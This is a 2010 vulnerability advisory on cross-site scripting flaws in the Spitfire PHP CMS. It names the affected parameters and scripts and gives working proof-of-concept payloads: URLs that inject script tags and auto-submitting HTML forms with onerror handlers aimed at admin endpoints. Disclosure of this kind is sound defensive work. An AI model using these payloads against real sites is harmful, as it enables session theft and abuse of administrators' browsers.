Multiple Cross-site Scripting (XSS) Vulnerabilities in Spitfire
This vulnerability was discovered by our security researchers before 2019.
| Advisory ID: | HTB22482 |
| Product: | Spitfire |
| Vendor: | Claus Muus |
| Vulnerable Versions: | 1.0.336 and probably prior |
| Tested Version: | 1.0.336 |
| Advisory Publication: | July 8, 2010 [without technical details] |
| Vendor Notification: | July 8, 2010 |
| Public Disclosure: | July 22, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79] |
| Risk Level: | Medium |
|  |
| CVSSv2 Base Score: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
| Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Spitfire which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting (XSS) vulnerabilities in Spitfire 1.1 The vulnerability exists due to input sanitation error in the "cms_id" and "search" parameters in site/cont_index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation examples: http://host/site/cont_index.php?cms_id=PAGE_ID"><script>alert(document.cooki e)</script> http://host/site/cont_index.php?cms_id=PAGE_ID&search=1"><scrip t>alert(document.cookie)</script> 1.2 The vulnerability exists due to input sanitation error in the "value[description]" parameter in cms/edit/tpl_element_settings_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface. Exploitation example: <form action="http://host/cms/edit/tpl_edit_action.php" method="post" name="main" > <input type="hidden" name="action" value="save" /> <input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script> Second code: <form action="http://host/cms/edit/tpl_edit_action.php" method="post" name="main" > <input type="hidden" name="action" value="value" /> <input type="hidden" name="tabid" value="headline" /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script> 1.3 The vulnerability exists due to input sanitation error in the "text" parameter in cms/edit/tpl_backup_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation example: <form action="http://host/cms/edit/tpl_backup_action.php" method="post" name="main" > <input type="hidden" name="action" value="message" /> <input type="hidden" name="text" value='help text<img src=x onerror=alert(document.cookie)>' /> </form> <script> document.main.submit(); </script> 1.4 The vulnerability exists due to input sanitation error in the "value[headline]" parameter in cms/edit/tpl_edit_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface. Exploitation example: First code: <form action="http://host/cms//edit/tpl_edit_action.php" method="post" name="main" > <input type="hidden" name="action" value="save" /> <input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script> Second code: <form action="http://host/cms//edit/tpl_edit_action.php" method="post" name="main" > <input type="hidden" name="action" value="value" /> <input type="hidden" name="tabid" value="headline" /> <input type="hidden" name="winid" value="0" /> </form> <script> document.main.submit(); </script> |
Solution: |
| Upgrade to Spitfire 1.0.438 |
| |
|
References: |
[1] High-Tech Bridge Advisory HTB22482 - https://www.immuniweb.com/advisory/HTB22482 - Multiple Cross-site Scripting (XSS) Vulnerabilities in Spitfire [2] Spitfire - spitfire.clausmuus.de - Spitfire is a light weight, easy to manage and extremely flexible open source PHP CMS. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.